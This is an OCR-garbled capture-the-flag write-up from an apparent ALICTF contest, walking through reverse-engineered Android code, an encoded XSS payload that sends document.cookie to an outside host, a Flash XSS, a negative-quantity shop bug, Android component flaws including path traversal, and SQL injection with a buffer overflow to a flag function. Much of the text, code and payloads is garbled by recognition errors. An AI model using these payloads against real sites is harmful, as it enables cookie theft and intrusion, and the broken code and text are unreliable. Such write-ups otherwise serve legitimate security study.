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M.class # T.class

If (paramstring.length() 1= 16)
throw new RuntimeException);

try

{
String str2 = getKey();
str1 = str2;

arrayOfInt = new Int[16];
arrayOfInt[i] = 0;
arrayOfInt[12] = 14;
arrayOfInt[10] = 7;
arrayOfInt[14] = 15;
arrayOfInt[15] = 42;
}
catch (Exception localException1)
{
try
{
String stri;
arrayOfInt[1] = 3;
arrayOfInt[5] = 5;
System.out.printn();
arrayOfInt[6] = 15;
arrayOfInt[2] = 13;
arrayOfInt[3] = 19;
arrayOfInt[11] = 68;
arrayOfInt[4] = 85;
arrayOfInt[13] = 5;
arrayOfInt[9] = 7;
arrayOfint[7] = 78;
arrayOfInt[8] = 22;
If (i < paramString.length())
If ({0xFF & arrayOfint[i]) I= (0xFF & (paramString.charAt{i) » str1.charAt{i % str1.length())))
{
throw new RuntimeException();
localException1 = localException;
stri = getkey();
System.arraycopy(str1, 0, paramstring, 5, 5);
}
}
catch (Exception localException2)
{
while (true)
{
IntQ arrayOfint;
array0fint[s] = 37;
arrayOfInt[1] = 85;
continue;
j++:
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if ((Oxff & arrayOfInt[i]) != (oxff & (paramString.charAt(i) ~ stril.charAt(i % strl.length())))
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BIX A, FLZFKHE T.class

M.class  T.class =
package ctf.bobbydylan;

#Import android.app.Activity;
public abstract class T extends Activity

{
public String getkey()
{
return "bobdylan";
}
H
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<Response [200]> www.alictf.com
<Response [200]> video.alictf.com
ﬁr‘ogr‘ess: (1117/3970)
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<code data-origin=

var e &amp;#61; document&amp;#46;createElement&amp;#40;8&amp;#34;script&amp;#34;&amp;#41;&amp;#59;e&amp;#4

<code data-origin=

#&J5 url_encode:

<code data-origin=

http://089d9b2b0de6a319.alictf.com/xss.php?name=%3Csvg%3E%3Cscript%3Evar%20e%20%26%2361%3B%20document%26%

<code data-origin=""

AN URL BAZTME, BIBAKIS XSS

£ xss P& LEE
flag=aHRO0cDovLzA40WQ5YJJiMGRINMEzMTkuYWxpY3RMLmNvbS96aGVkYW90aWll1X3R1Yml1bWVpeW9
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= payload :

<svgr<script>#26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%234
6%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23
118%3B#26%2361%3B%26%2339%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2
3477%3B%26%2347%3B%26%23103%3B%26%23111%3B%26%23117%3B%26%2346%3 B%26%23183%3B%26%23103%3B%26%
2347%3B%26%2339%3B%26%2343%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%
23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%2
6%23185%3B%26%23101%3B</script></sveg>

Hil 35 7] 38 78 2
ZAR—A flash, REFFEHIUUGS (CEFHZE) WT:



package

{
import flash.display.*;
import flash.external.*;

public class swf extends Sprite

{

public function swf()
{
var myParameter:* = undefined;
var parameters:* = root.loaderInfo.parameters;
var search:* = root.loaderInfo.url.index0f("?");
if (search !== -1)
{
myParameter = this.parseStr(root.loaderInfo.url.substr((search + 1)));
for (var key in parameters)
{
if (myParameter.hasOwnProperty(this.trim(key)))

{

delete parameters[key];

}

ExternalInterface.call("console.debug", parameters.debug);
return;
}// end function

public function parseStr(search:String) : Object
{
var res:* = {};
search = unescape(search).replace(/\+/g, " ");
var parameters:* = search.split("&");
if (parameters.length == 0)
{
return {};
}
for (var i = @; i < parameters.length; ++i) {
var pair = parameters[i].split("=");
if (pair.length > 9)
{
res[this.trim(pair[@])] = this.trim(pair[1]);

}

return res;
}// end function

public function trim(paraml:String) : String
{

if (!paraml)

{

return paraml;

}
return paraml.toString().replace(/~\s*/, "").replace(/\s*$/, "");

}// end function



FEBE PR SRARAS, BRI ExternalInterface.call ("console.debug", parameters.debug); —ATML
FIRAT%E, WA console.debug BHAHZE.
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http://localhost/xss/swf.swf?&%0?debug=x

& = C [} localhost/xss/swi.swi?&%0?debug=x
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HATHEAREHE FLAG worth $1000 M Shop, MAFBEMIZ—AMEN $1000 KIFEH, A
Shop #R7™ Only Admin, UtBHRRATFEZERFHBR.

EEMEEAMFEH Adnin ENAPR#EITEM, R Username Has benn used!. BT —SJLERIN
R4 Admin JEIA—ANZTHE AT CLEM 358 F I .

FHAN Shop RUAFBREAE 1, MEEMEL $1000 KEMm. A orre HARBEBE KWL ER, F3
num=16id=6, M num MIZNWEZHEE, BK num=-1lsid=6 FEBERILTEZRT $1001. HIX
WXL s1000 FMERE flag.

vulnerability

THapk BT HERARE AT, EHRE —A ALICTF B TextView. Al dextojar M jd-gui RHKFFEEFEMNRE, RIEE—1
WebActivity ®AME, HH webview MEK url #HMET.

* Failed to analyse overrides
*/
public class WebActivity
extends Activity {

private WebView mWebView;

public void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.setContentView(2130983066);
this.mWebview = (WebView)this.findviewById(2131034173);
this.mWebview.getSettings().setJavascriptEnabled(true);
string string = new String(Calcutils.decode("aHROcDOVL21vbnNAZXIUYWXPY3RMLMNvbS9ZdWIqZWNOL3dpcmVsZXNZL2Fs aWNeZi50dG1s"));
this.mWebView. loadUrl(string);

B apk WEW CalcUtils.decode %S H URL

MN: http://monster.alictf.com/subject/wireless/alictf.html

TR RIRERIAR 6 BB, PFERE, MESM Google, WEITLUAT 3 MMUABAIRM T
TR IRR I -

e Content ProviderXfFHFBHIKWIHENT http://jag.alibaba.com/blog.htm?id=61
o [MMEEREZEWebviewZEWL http://m.chinabyte.com/sec/201/13165701 m.shtml

e Broadcast ARSI KiH http://retme.net/index.php/2014/11/14/broadAnywhere-bug-
17356824 .html

PR] bt 41 i i 9 TR £

1. Function 2 M getActivity
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http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html

function 2:
public int onStartCommand(Intent arg6, int flags, int startId) {
int vO = B;
if(arg6 != null) {
try {

Motification vB_2 = new Notification();

/ /i

PendingIntent vl = PendingIntent.getActivity(((Context)this), ©, new Intent(), 0);
if(Build.VERSION.SDK_INT < 18) {

vB_2.setlatestEventInfo({{Context)this), null, null, wvi1);

1

else {
String v2 = arg6.getStringExtra("title");
String v3 = arg6.getStringExtra("body");
vf_?_icon = 2130R3IR4A76;
vO_2.setlLatestEventInfo(((Context)this), ((CharSequence)v2), ((CharSequence)v3),

vi);

vO_2.flags = 64;

1

2. Function 4 HJ openFile

public boolean onCreate() {

return 1;

public ParcelFileDescriptor openFile(Uri arg4, String arg5) {

if(!1"r".equals(arg5)) {

throw new FileMotFoundException("Bad mode for " + arg4 + + args);

/1TFERE

JREEE" . . /eI BUHMER S TR

return ParcelFileDescriptor.open(new File(arg4.toString().substring(FileContentProvider.b)),
268435456);

public Cursor query(Uri arg2, String[] arg3, String arg4, String[] arg5, String arg6) {

throw new UnsupportedOperationException();

public int update(Uri arg2, ContentValues arg3, String arg4, String[] arg5) {

throw new UnsupportedOperationException();

3. Function 5 HJ loadDataWithBaseURL



function 5:
//the component is exported
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

this.url = this.getIntent().getStringExtra("loadurl");
this.data = this.getIntent().getStringExtra("loadData");
setContentView(R.layout.webactivity);

mlebView = (WebView) findViewById(R.id.webview);

if(BuildSVERSION.SDK_INT > 10 && BuildSVERSION.SDK_INT < 17) {

String v1 = "searchBoxJavaBridge_";
String v2 = "accessibility";
String v3 = "accessibilityTraversal"”;

mWebview.class.getMethod("removelavascriptinterface", String.class).invoke(mWebView, vi1);
mWebView.class.getMethod("removeJavascriptInterface", String.class).invoke(mWebview, v2);
mWebview.class.getMethod("removelavascriptinterface", String.class).invoke(mWebview, v3);
1
WebSettings webSettings = mWebview.getSettings();

webSettings.setJavaScriptEnabled(true);

1 TR
R 25

mWebView.loadDataWithBaseURL(this,url, this.data, "text/html", "utf-8", null);

MERN: getActivity;openFile; loadDataWithBaseURL
v h ;‘ o —

e T IR u5 N LS

THIMHBR—4 x86 ELF, A IDA 6.6 BAIF Ctrl+F5 REMHITELAEE.

[ K ) o) exploit(1).c

exploit(1).c

puts("Send Mail OK");

int __cdecl checkUser(sqlite3_® *db, char *name)

int ncolumn;
int row;

char *xdbresult;
char sql[100];

sprintf(sql, "select * from user where username= ', name);
lite3. le(db, sql, &dbresult, &row, &ncolumn, ©)

int __cdecl checkUserPass(sqlite3_@ *db, char *name, char xpass)

int ncolumn;
int row;
char **dbr
char sql[1¢

sprintf(sql, "select *x from user where username= ' and password='%s'", name, pass);
lite3 le(db, sql, &dbresult, &row, &ncolumn, @) && row > 0;

int __cdecl createUser(sqlite3_0 *db, char *name, char *pass)

/Users/Breezewish/Downloads/exploit(l).c:7,10 - Fatal - 'defs.h' file not found
Did you configure the {include path used by clang properly?
See http://github.com/quarnster/SublimeClang for more details on how to configure SublimeClang.

Clang Status: 1 Error, ASCIl, Line 1, Column 1 Spaces: 2




B#E)&E 2| checkUser. checkUserPass. createUser. showInbox M showOutbox A SQOLIEN
WRAHZREN: FH 'or''=' ERAPZH#TES, HFIBAFFIE. InboxMM Outbox. HTHEHFH
HFP&R or' '=", SIKKWERAMEHAIFK Inbox M outbox, RIAZR, +0HME, FHMIEL1aglEM. 4k
MRS, BEEKAIN sendMail AHZEMXEHIFE, REERAMEZTR, MHLLMILME, FRT
KE—A shellcode & shell,

—RJE, BN wish FEHRENRN, BEERT print_flag R, TRIFEMM sendvail &K
2 X 3 Y IR TR IAT IXAN R

BHARREMXKKRAD: ZoEMeEREFARBRRNBERFRBERKE. BTRA)RALocal var |
prev ebp | ret addr, FMEMFFEEFMENMEEFET, BMWE print flag KMk 8048BBD
3%, BIA[E sendMail REIMEMA print flag 83 flag.
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